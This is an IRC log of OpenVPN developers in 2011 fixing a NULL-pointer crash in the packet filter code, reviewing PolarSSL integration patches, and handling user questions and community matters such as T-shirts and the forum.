[~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 13:33 <@mattock> left everybody speechless? :P 13:33 * SviMik disconnected... have I missed something? 13:34 <@mattock> nope 13:34 <@cron2> mattock: someone needs to dig into the code now and find answers to waldner 13:34 < SviMik> I hope it's easy to fix? I tried to look at the code, but I see openvpn sources first time, so I got lost there 13:34 <@andj> it's not my area either, but I'm poking around a little 13:35 <@jamesyonan> is the segfault at the "if (!pfs->kill)" line? 13:35 <@cron2> yep 13:35 <@jamesyonan> because pfs is NULL? 13:35 <@cron2> yep 13:36 <@cron2> the bug report has a stack trace 13:39 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Disconnected by services] 13:39 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 13:40 * SviMik disconnected... again :( 13:40 <@jamesyonan> I'm looking at it... 13:40 < SviMik> yes, I found and compiled openvpn-devel version to get stack trace... 13:43 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Disconnected by services] 13:43 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 13:43 <@jamesyonan> it looks like there's an assumption in the code that when struct pf_context is initialized, that if enabled var is true, then pfs must be non-NULL 13:43 * SviMik switched from wifi to LAN :) hope no more disconnects 13:44 <@jamesyonan> it looks like that gets violated somehow 13:45 <@jamesyonan> so the question is under what circumstances could a struct pf_context be initialized with enabled=true but pfs=NULL 13:46 < SviMik> yes, to get this bug I need to connect two clients with some delay 13:47 < SviMik> so it happens when one client is connected, but another is in process 13:49 < SviMik> [another small compilation bug] I can't compile some versions here: ftp://ftp.secure-computing.net/pub/FreeBSD/ports/openvpn-devel/ 13:49 < SviMik> openvpn-201135.tar.gz and earlier versions are OK 13:49 < SviMik> openvpn-201136.tar.gz and later - socket.c:786: error: 'SO_MARK' undeclared (first use in this function) 13:50 <@cron2> which version of FreeBSD is that? 13:53 <@jamesyonan> so the fix is probably to patch pf.c so that enabled var is never set to true unless pfs var is non-NULL 13:53 <@mattock> anybody willing to create that patch for SviMik to test? 13:54 < SviMik> cron2 oops... it's for FreeBSD. I compiled it in centos :) ok, never mind. 13:55 <@cron2> SviMik: well, it's just a snapshot, but I assumed FreeBSD 13:55 <@cron2> it should compile on Centos as well, but I'm not the one who does Linux portability fixing 13:55 <@mattock> SviMik: you could try latest "master" branch and see if it has the same issue 13:56 <@mattock> https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Maindevelopmentrepositorygit 13:56 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 13:56 <@andj> It looks like there could be a brief amount of time between setting pf.enabled and pf_check_reload calls 13:58 <@andj> would adding an extra check to pf_c2c_test be enough? 13:59 <@andj> or should pf_init_context() call pf_check_reload after enabling pf? 14:01 < SviMik> if somebody create a patch, I can test it now 14:01 <@jamesyonan> yeah, I'm thinking that we should try to fix it by preserving the invariant that the code already expects 14:02 <@jamesyonan> that's more along the lines of pf_init_context() should call pf_check_reload after enabling pf? 14:02 <@andj> thing is, that invariant just states that pf is enabled 14:02 <@andj> if a file goes missing 14:02 <@andj> enabled would still be enabled 14:03 <@andj> enabled would still be _true_ 14:03 <@andj> is better there 14:03 <@andj> but pfs might not be set 14:03 <@jamesyonan> well it's a security question in a sense -- if the firewall is enabled, but there's some exception that leaves control data undefined, how do you then handle packets? 14:04 <@andj> exactly, disabling the firewall isn't the solution 14:04 <@andj> if a pf file goes missing (e.g. is deleted) 14:05 <@jamesyonan> so maybe in this case you want to drop all packets? 14:05 <@andj> so you could say if pfs is NULL drop? 14:05 <@andj> if pf.enabled of course 14:05 <@jamesyonan> yeah, that's what I'm thinking 14:05 <@cron2> log warning, drop 14:06 < SviMik> why pf file may go missing? as I remember, openvpn shoul create pf file when client connects, and delete it when client disconnects? 14:06 <@jamesyonan> I'm wondering if there's other places in the code where enabled==true causes pfs to be used without being tested for non-NULL 14:06 <@andj> I just searched for that a minute ago 14:06 <@andj> sec 14:07 <@andj> pf_addr_test 14:07 <@andj> but not sure what that does 14:09 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 14:09 <@jamesyonan> I think pf_addr_test_dowork is testing for IP address conditions and pf_cn_test is testing for common name conditions. 14:09 <@jamesyonan> If you look at pf_addr_test_dowork, I think it reveals the fix 14:10 <@andj> yeah, just noticed it if (pfs && !pfs->kill) 14:10 <@jamesyonan> Note how it starts with if (pfs && !pfs->kill) 14:10 <@jamesyonan> and then the else rejects the packet by returning false 14:11 < SviMik> so we can just replace if (!pfs->kill) with if (pfs && !pfs->kill) ? 14:11 <@andj> yes 14:11 <@jamesyonan> that's what I'm thinking 14:11 <@andj> diff --git a/pf.c b/pf.c 14:11 <@andj> index 6b4cba4..311495a 100644 14:11 <@andj> --- a/pf.c 14:11 <@andj> +++ b/pf.c 14:11 <@andj> @@ -411,7 +411,7 @@ lookup_cn_rule (struct hash *h, const char *cn, const uint32 14:11 <@andj> bool 14:11 <@andj> pf_cn_test (struct pf_set *pfs, const struct tls_multi *tm, const int type, con 14:11 -!- andj was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://pastebin.com for posting logs or configs.] 14:11 <@jamesyonan> because then if pfs is NULL, we return false 14:12 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:12 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:12 <@andj> oops 14:12 <@andj> sorry, mispaste 14:12 < SviMik> :) 14:12 <@andj> I wanted a single line there 14:12 <@andj> terribly sorry 14:12 <@andj> that should do the trick though: https://gist.github.com/1251645 14:12 <@vpnHelper> Title: andj's gist: 1251645 Gist (at gist.github.com) 14:13 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:13 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:13 <@jamesyonan> yeah, that looks right 14:13 <@andj> there's no else clause, since anything that is correct returns earlier 14:15 <@andj> time for a whole bunch of ASSERT_NOT_NULLs 14:15 <@andj> scattered around the code 14:15 <@andj> :) 14:16 <@mattock> so andj's patch is ok? 14:17 <@andj> not really my patch, james pointed out the right direction 14:17 <@andj> :) 14:17 <@mattock> well, I guess that's also true :) 14:17 <@mattock> regardless, next topic? 14:17 <@mattock> SviMik: can you test that patch? 14:17 <@andj> sure, while we wait for feedback from SviMik 14:18 < SviMik> yes, I can try it. I just... need to download-patch-compile-start-test... it will take few minutes 14:18 <@mattock> I would propose the two topics from "Other" section 14:18 <@mattock> first one would be this: http://thread.gmane.org/gmane.network.openvpn.user/32525 14:18 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:18 <@mattock> "The counter Bytes Received,Bytes Sent in status.log, what did they count exactly?" 14:19 < SviMik> and, I need to choose which version to compile, and shoud I use testing or production server ) 14:19 * cron2 calls it a day for today - having a bad cold, go to bed. (I have no good answers for the remaining topics anyway) 14:19 <@cron2> *sneeze* good night... 14:19 <@mattock> cron2: no opinions on the T-shirts? 14:19 <@andj> good luck with your cold 14:20 <@cron2> mattock: not many opinions on anything right now :( (but T-Shirts are cool - I think we discussed that already, navy blue or black, wasn't it?) 14:20 <@mattock> cron2: I think so 14:20 <@mattock> try to get better! 14:20 < scifiCinereller> So, as far as we've seen it in the sourcecode, is it _all_ the data that is sent to the socket after compression/encryption and all the data that is read from the socket before decryeption/decompression? 14:21 <@jamesyonan> I believe that Bytes Received,Bytes Sent refers to bytes sent over the tunnel socket 14:21 <@mattock> hi scifiCinereller! you just got to "attended the meeting" list :) 14:21 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 14:22 < scifiCinereller> I just wondered if we are the first ones that come up with this question. If not, does this mean it was already asked frequently enough to get to http://www.openvpn.net/index.php/open-source/faq.html ? 14:22 <@vpnHelper> Title: FAQ Community (at www.openvpn.net) 14:22 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:23 <@mattock> I would guess this is relatively common question 14:24 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 14:25 <@mattock> so, essentially, janjust's analysis is correct: http://thread.gmane.org/gmane.network.openvpn.user/32525/focus=32579 14:25 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:25 <@mattock> if so, we could move on to T-shirts? 14:26 <@mattock> there are a few questions: a) which model?, b) which color?, c) how many?, d) what sizes? 14:27 <@mattock> ...or is there something to add to openvpn-status.log? 14:27 < scifiCinereller> Nope, I'm fine with the current state 14:27 <@mattock> nice! 14:28 <@andj> I'm fine with moving on, but haven't got much to say about shirts :) 14:28 <@mattock> andj: even if/when you get one? :P 14:28 <@andj> Let's call that an if, I feel I haven't contributed nearly as much as others :p 14:29 <@mattock> I have a hunch you might be on the list, if I made the choice :) 14:29 <@mattock> oh, one important decision... what graphics to use in it? 14:29 <@mattock> the logo from here: "http://openvpn.net/" ? 14:30 <@vpnHelper> Title: Error 404: File not Found (at openvpn.net) 14:30 <@mattock> hmm 14:30 <@mattock> http://openvpn.net/ 14:30 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net) 14:30 <@mattock> or just the "O" part 14:30 <@mattock> or something else? 14:30 <@mattock> printing only on the front, or also on the back? 14:31 <@andj> I think only on the front, I like the whole word, but that's just my 2c 14:32 <@mattock> navy blue / black ok? 14:32 <@mattock> hmm, the "VPN" part might not be visible enough with navy blue 14:32 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:33 <@mattock> I wonder if somebody (e.g. me) should make some simple designs first... 14:33 <@andj> perhaps :) 14:33 <@andj> it's a little difficult to visualise 14:33 <@andj> otherwise, and it might start up discussions a little 14:33 <@mattock> ok, let's do that 14:34 <@mattock> move on to PolarSSL? 14:34 <@mattock> if we'd get a few ACKed that'd be great! 14:34 <@mattock> (I got to leave myself soonish) 14:34 <@andj> sure, if james is still up for it 14:34 <@mattock> jamesyonan: still time for a few PolarSSL patches? 14:34 <@jamesyonan> sure 14:34 <@andj> warm-up: a bug I found 14:34 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/86338fd1c7925ca7c84fe697e123dc158289f02b 14:34 <@vpnHelper> Title: Commit 86338fd1c7925ca7c84fe697e123dc158289f02b to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:35 <@andj> nothing harmful, the subject was only used in printing 14:35 <@andj> debug messages 14:35 <@andj> slightly embarassing nonetheless 14:36 <@jamesyonan> did it actually compile? 14:36 <@andj> yeah, they're both strings 14:37 <@mattock> ooshirts.com has a nice T-shirt design webapp... I'll send links when I'm done (tomorrow or early next week) 14:37 <@andj> cool, looking forward to them 14:38 <@andj> if that one's ok, there's a few patches which I thought had already been acked, but don't have a name next to them 14:41 <@andj> james? 14:41 <@jamesyonan> sure, let's see them 14:41 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/be63e6e86837cec71b35446a164ab158cd986ab1 14:41 <@vpnHelper> Title: Commit be63e6e86837cec71b35446a164ab158cd986ab1 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:42 <@andj> These were all done by request 14:42 <@andj> as feedback to comments earlier on in the process 14:42 <@andj> and I thought they'd been acked at the time, but can't find the confirmation 14:43 < SviMik> it seems patch works. at least, I don't see segfault anymore 14:44 <@andj> cool, that sounds good 14:44 <@andj> are any packets dropped, that you expected to go through? 14:44 < SviMik> but I see 179 pf files... while I have only 35 clients 14:45 <@jamesyonan> ntlm patch looks fine 14:45 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/84916b43b6d614291ec765d93f615be30d519bbb and https://github.com/andj/openvpn-ssl-refactoring/commit/3f1647d20ff081cefd54ee80cff64c2234f1e48f improve the plugin system to no longer require 14:45 <@vpnHelper> Title: Commit 84916b43b6d614291ec765d93f615be30d519bbb to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:45 <@andj> ssl 14:46 <@andj> and I'm almost certain those were acked 14:46 <@andj> because the second one is a response to comments on the first one 14:48 <@jamesyonan> looks good 14:48 < scifiCinereller> Fellows, my wife just asked for me. Thanks for your time && good bye. If we have some user-friendly explanations about the traffic amount, I'll post it to the mailing-list. 14:48 <@andj> cool, thanks 14:48 <@jamesyonan> I also have to run in a few minutes 14:48 <@andj> see you soon 14:49 <@andj> ok, one more patch and some discussion 14:49 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/4970f1485d4d2117ccb3b1932965809fc51d8efe 14:49 <@vpnHelper> Title: Commit 4970f1485d4d2117ccb3b1932965809fc51d8efe to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:49 <@andj> is the PRNG reset patch 14:49 <@andj> It resets the nonce periodically 14:49 -!- scifiCinereller [~falko@e176205012.adsl.alicedsl.de] has quit [Quit: Verlassend] 14:50 <@andj> based on some RNG data from the entropy pool 14:50 <@andj> to ensure that the same seed isn't used indefinitly 14:50 <@andj> spelling hard 14:51 <@jamesyonan> that seems reasonable 14:51 <@jamesyonan> the nonce is only used to generate IVs 14:51 <@andj> using the same value for random for too long scares me a little 14:51 <@andj> I know, but I'm paranoid 14:52 <@andj> :) 14:52 <@andj> So this seems like good middle ground 14:52 <@andj> Then there's the question of what to do about https://github.com/andj/openvpn-ssl-refactoring/commit/0ef8d44cc4b9b10f174101cf420af0a5b2150809 14:52 <@vpnHelper> Title: Commit 0ef8d44cc4b9b10f174101cf420af0a5b2150809 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:52 <@andj> this is a huge patch, adding polarssl 14:52 <@andj> I suggest the following: 14:53 <@andj> ack/nack the files that are modified in the normal way, but not the additions 14:53 <@jamesyonan> the argument for IVs being sourced from PRNG is that IV only needs to be unpredictable, not "cryptographically strong" as a key would need to be 14:54 <@mattock> andj: agreed 14:54 <@mattock> it's impossible to know what might lurk in the added (polarssl) code without testing 14:54 <@andj> jamesyonan: true, but putting all your faith in the unpredictablity of a hash function is going a tad far as well 14:55 <@andj> this just adds an extra layer 14:55 <@andj> about PolarSSL: the additions can then be checked at a slower pace 14:55 <@andj> I've tested them extensively 14:56 <@andj> but I think for the moment it's best to include them, and let people use it "at their own risk" 14:56 <@andj> and, as discussed let OpenSSL be the default 14:56 <@jamesyonan> agreed -- but remember that even TLS 1.0 and all of the earlier SSLs uses completely predictable IVs 14:56 <@jamesyonan> (which has gotten them into trouble) 14:57 <@andj> yeah, clever way of getting that bug exploitable 14:57 <@jamesyonan> you mean BEAST? 14:57 < SviMik> andj is it possible that I get packet drop while reloading pf file? 14:57 <@andj> could be, not entirely sure 14:57 <@andj> why, are you? 14:58 < SviMik> when I edit pf file, one ping packet gets lost 14:58 <@mattock> I got to split now, feel free to continue 14:58 <@mattock> https://community.openvpn.net/openvpn/wiki/PolarSSLintegration is updated 14:58 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 14:58 <@jamesyonan> I gotta run too 14:58 <@andj> just before you go, ack on my suggestion for the big patch? 15:00 <@andj> thanks everyone, hopefully means we can start moving towards getting the last set of patches acked next week 15:00 <@jamesyonan> andj: have we already covered all of the patches that modify existing files? 15:00 <@andj> SviMik: 15:00 <@andj> oops 15:00 <@mattock> andj: sounds like a plan! 15:00 <@mattock> see you guys later! 15:00 <@andj> jamesyonan: there's a few left 15:01 <@andj> mostly related to PolarSSL though 15:01 <@andj> this kind of stuff: https://github.com/andj/openvpn-ssl-refactoring/commit/5f5eca00f31199571450cceee1f4469154bd4d38 15:01 <@vpnHelper> Title: Commit 5f5eca00f31199571450cceee1f4469154bd4d38 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 15:01 <@andj> see you 15:01 <@andj> SviMik: it could be 15:01 <@jamesyonan> yes, I'm open to the idea of handling the pure PolarSSL-added files differently 15:01 <@andj> It depends how atomic the replacement of a file is 15:02 <@andj> thanks, sounds good 15:02 <@andj> we'll get to that next week 15:02 <@jamesyonan> sounds good, take care 15:02 <@andj> cya 15:02 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 15:02 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 15:03 < SviMik> can anyone suggest how to install openvpn properly? when I use aptitude, it moves to /usr/sbin/openvpn but when I compile manually - /usr/local/sbin/openvpn 15:03 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has quit [Quit: Leaving.] 15:03 <@andj> SviMik: I have to go soon, too, but I think the problems with file reload could be solved by changing scripts around to work more atomically 15:03 <@andj> and that last question is better asked in -users :) 15:03 < SviMik> andj actually not a problem ) 15:04 < SviMik> thx 15:04 <@andj> but that's the way things are done in linux/unix land 15:04 <@andj> /usr/local is usually reservered for user stuff 15:04 <@andj> and /usr/* is for packaged stuff 15:04 <@andj> so that's why it ends up there 15:05 <@andj> you can change the prefix with --prefix in ./configure, but that messes up your system a little 15:05 <@andj> anyway, got to go, see you all soon 15:05 < SviMik> ok :) 15:06 <@andj> http://unix.stackexchange.com/questions/8656/usr-bin-vs-usr-local-bin-on-linux 15:06 <@vpnHelper> Title: filesystems - /usr/bin vs /usr/local/bin on Linux - Unix and Linux - Stack Exchange (at unix.stackexchange.com) 15:07 < SviMik> ok, I removed aptitude version, hope init.d script will work with /usr/local/sbin/... or I patch it, if not :) 15:09 < SviMik> don't know why there is so big script for openvpn... 15:10 < SviMik> PF patch works and only necessary packets are dropped ) 15:11 < SviMik> (actually I'm a php programmer, not unix administrator :) ) 15:13 < SviMik> and I'm writing web-control-panel for vpn users, where they can set up iptables (dnat and snat) and PF settings 16:07 <+ecrist> see hier(7) 16:25 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 260 seconds] 16:26 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 16:57 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 252 seconds] 22:02 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 22:02 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 22:02 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Log closed Thu Sep 29 23:08:21 2011 --- Log opened Fri Sep 30 22:26:04 2011 22:26 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 22:26 -!- Irssi: #openvpn-devel: Total of 15 nicks [7 ops, 0 halfops, 0 voices, 8 normal] 22:26 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 22:26 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 22:26 <+ecrist> ping raidz/mattock 22:33 <+ecrist> well, when one of you two is around, I'd like to roll the web forum to the vb platform 22:34 <+ecrist> I'm confident in my ldap plugin, want to make it nicer, but the upstream folks are retarded and don't think my patch is needed, so I'm going to roll with what I've got 22:41 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 22:50 <+ecrist> I forgot to mention, I was also looking to see if either of you had worked up a theme for vB yet? 22:50 <+ecrist> if not, i'll get going on that, as well. 22:50 <+ecrist> probably use the existing default theme coupled with some color tweaks and graphics used on the current forum. --- Day changed Sat Oct 01 2011 03:14 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 244 seconds] 05:18 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 05:28 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 05:34 < SviMik> I think I've found a bug... in status file I see user with name "UNDEF". google says, that it's unauthorized user, and the name should be resolved shortly, or user should be disconnected. 05:35 < SviMik> But, in my case, this user stays online over 7 hours, and has 50 mb traffic! 05:35 < SviMik> Common Name,Real Address,Bytes Received,Bytes Sent,Connected Since 05:35 < SviMik> UNDEF,173.10.81.161:55555,5534537,49579722,Fri Sep 30 00:26:53 2011 05:35 < SviMik> Virtual Address,Common Name,Real Address,Last Ref 05:35 < SviMik> 00:ff:d7:11:b6:55,UNDEF,173.10.81.161:55555,Fri Sep 30 07:56:09 2011 05:37 < SviMik> and I see such UNDEF users every day... with big uptime and traffic. 05:42 < SviMik> I'm not sure, should I write bugreport, or it's known situation? 06:31 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Read error: Operation timed out] 06:41 < uuuppz> would someone be able to tell me a bit about how conditional statements work inside a config file? 06:43 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 07:23 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 255 seconds] 07:55 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 09:00 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Read error: Operation timed out] 09:24 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 09:37 -!- novaflash [~notme@openvpn/user/novaflash] has quit [] 09:38 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 10:02 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 255 seconds] 13:18 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 13:23 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 255 seconds] 16:01 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 16:22 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] 20:35 <+ecrist> uuuppz: what do you mean? 23:36 < uuuppz> I've seen if statements in config examples 23:36 < uuuppz> nd I was parsing them today 23:36 < uuuppz> but I took a loose approach 23:36 < uuuppz> I *shouldI* be ok in most case 23:36 < uuuppz> still would love to know a bit more about it --- Day changed Sun Oct 02 2011 00:06 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has quit [Quit: Leaving.] 07:11 <+ecrist> there's always the source. ;) 07:40 < uuuppz> yeh was looking for a quick & lazy answer :) 07:41 < uuuppz> for now I'm taking the view 07:41 < uuuppz> "good to luck to anyone who wants an if statement" 15:11 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:11 -!- mode/#openvpn-devel [+v krzie] by ChanServ 17:20 -!- Netsplit *.net <-> *.split quits: @dazo_afk 17:21 -!- Netsplit *.net <-> *.split quits: Essobi 17:23 -!- Netsplit over, joins: @dazo_afk, Essobi 19:13 <@vpnHelper> RSS Update - tickets: #165: GUI: broken log encoding on non-english Windows <https://community.openvpn.net/openvpn/ticket/165> --- Day changed Mon Oct 03 2011 01:25 -!- dazo_afk is now known as dazo 02:52 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 05:51 -!- deep_blue [~fahimi@2.176.152.13] has joined #openvpn-devel 05:51 < deep_blue> hi 05:52 < deep_blue> anyone can help me? 05:58 -!- deep_blue [~fahimi@2.176.152.13] has quit [Read error: Connection reset by peer] 06:01 -!- deep_blue [~fahimi@2.176.152.13] has joined #openvpn-devel 06:01 < deep_blue> help meee 06:12 <@dazo> !welcome 06:12 <@vpnHelper> "welcome" is Start with !goal || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki !mitm || Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict) 06:12 <@dazo> deep_blue: ^^^ (read that text above) 06:13 <@dazo> deep_blue: and you probably should be in #openvpn and not this channel 06:16 < deep_blue> aha 06:16 < deep_blue> ok 06:16 < deep_blue> sorry for comming here, i see this name below my locked post in forum 06:16 < deep_blue> :( 06:17 < deep_blue> admin make me lock because i sent a message to 4 admin for help:( 06:17 < deep_blue> and ecrist unbanned me 06:18 < deep_blue> i described all things in my post, and put logs and configs in topic8909 06:18 < deep_blue> sorry for disturbing you 06:18 < deep_blue> now bye 06:18 -!- deep_blue [~fahimi@2.176.152.13] has left #openvpn-devel [] 07:04 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Read error: Connection reset by peer] 07:09 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has joined #openvpn-devel 08:13 <+ecrist> that guy needs to take a long walk off a short pier 08:59 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 09:13 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 240 seconds] 09:14 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 255 seconds] 09:41 <@mattock> hmm... still I wonder how he ended up here... 09:43 <@mattock> perhaps he actively tries to find the worst possibles ways/places to ask for help 09:46 <+ecrist> well, then he succeeded 09:47 <+ecrist> I let him know that spamming all the admins/devs he could find was not conducive to actually getting help, and would only result in him pissing off the people that have the power to make him go away 09:51 <@mattock> hope he got it 09:52 <@mattock> I did not initially understand what exactly he had did, so I didn't educate him myself 09:52 <@mattock> had done 09:55 <+ecrist> I never even looked. 10:23 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:23 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:46 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 10:59 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 256 seconds] 11:22 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 12:06 -!- dazo is now known as dazo_afk 13:37 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 252 seconds] 14:09 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 14:11 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:58 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 15:12 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has quit [Quit: Leaving.] 15:22 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 16:39 <@raidz> ecrist: hmm, just saw your message from the other day, am I still needed? 16:46 < SviMik> can someone say, is user with name "UNDEF" and 7 hours uptime in status file normal behaviour, or I should create a bugreport? :) 17:53 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 252 seconds] 20:10 -!- Netsplit *.net <-> *.split quits: @mattock, @cron2, jamxNL, @d12fk, @andj, dguerri, uuuppz 20:13 -!- Netsplit over, joins: @cron2, @mattock, uuuppz, @andj, jamxNL, @d12fk, dguerri --- Day changed Tue Oct 04 2011 01:11 -!- dazo_afk is now known as dazo 01:19 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 02:42 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Remote host closed the connection] 02:43 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 02:49 -!- dazo is now known as dazo_afk 04:07 -!- dazo_afk is now known as dazo 07:33 <+ecrist> raidz: still needed. was wondering if you folks were going to create a theme for vbulletin, or if I should do so? 08:30 < dguerri> hi dazo :) 08:33 <@dazo> dguerri: hey! I hope you're not here to push me to commit something which is already committed and pushed :-P 08:33 < dguerri> ehhe 08:34 < dguerri> lol… no but i owe you a poke! 08:34 < dguerri> i'd like to submit another patch 08:34 < dguerri> :) 08:34 < dguerri> i'd like to rehash this one: http://www.caspur.it/~guerri/hacks.html#openvpn 08:34 <@vpnHelper> Title: Davide Guerri - Hacks (at www.caspur.it) 08:35 < dguerri> basically that patch makes it possible to use the openvpn --passtos option with 802.1Q tagged ethernet frames. 08:35 < dguerri> there's also a wiki page here: http://www.secure-computing.net/wiki/index.php/OpenVPN/802.1Q_--passtos_patch 08:35 <@vpnHelper> Title: OpenVPN/802.1Q --passtos patch - Secure Computing Wiki (at www.secure-computing.net) 08:36 < dguerri> could it be of intrest? 08:37 <@dazo> hehey! Finally that one :) Yeah, that's been on hold due to nobody have had or shown interest to test it out ... but there is another VLAN patch in the pipe as well, which depends on this one 08:37 < dguerri> really? 08:37 <@dazo> yeah :) 08:37 < dguerri> i have tweaked it a bit 08:38 < dguerri> because the most common case should be IP over ethernet 08:38 <@dazo> I need to prepare for a meeting now ... and need to run for a train after the meeting ... but, there are feat_passtos and feat_vlan-something branches which contains these bits 08:39 < dguerri> ok ty 08:40 <@dazo> dguerri: If you're committing to stay more regularly on this channel, and be available from time to time (maybe even join dev-meetings) ... acceptance of patches goes much quicker :) 08:40 <@dazo> (as we're feeling safer issues can be resolved quicker) 08:41 < dguerri> dazo: sure, it'd be a pleasure. 08:42 <@dazo> cool! 08:42 * dazo runs 08:42 < dguerri> bb 10:24 -!- dazo is now known as dazo_afk 12:40 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 12:41 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:41 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:56 <+ecrist> what's up with this error message: 12:56 <+ecrist> ./t_client.sh: cannot find 't_client.rc' in current directory or 12:56 <+ecrist> ./t_client.sh: source dir ('.'). SKIPPING TEST. 13:46 <@mattock> ecrist: there should be t_client.rc sample file 13:47 <@mattock> or, if 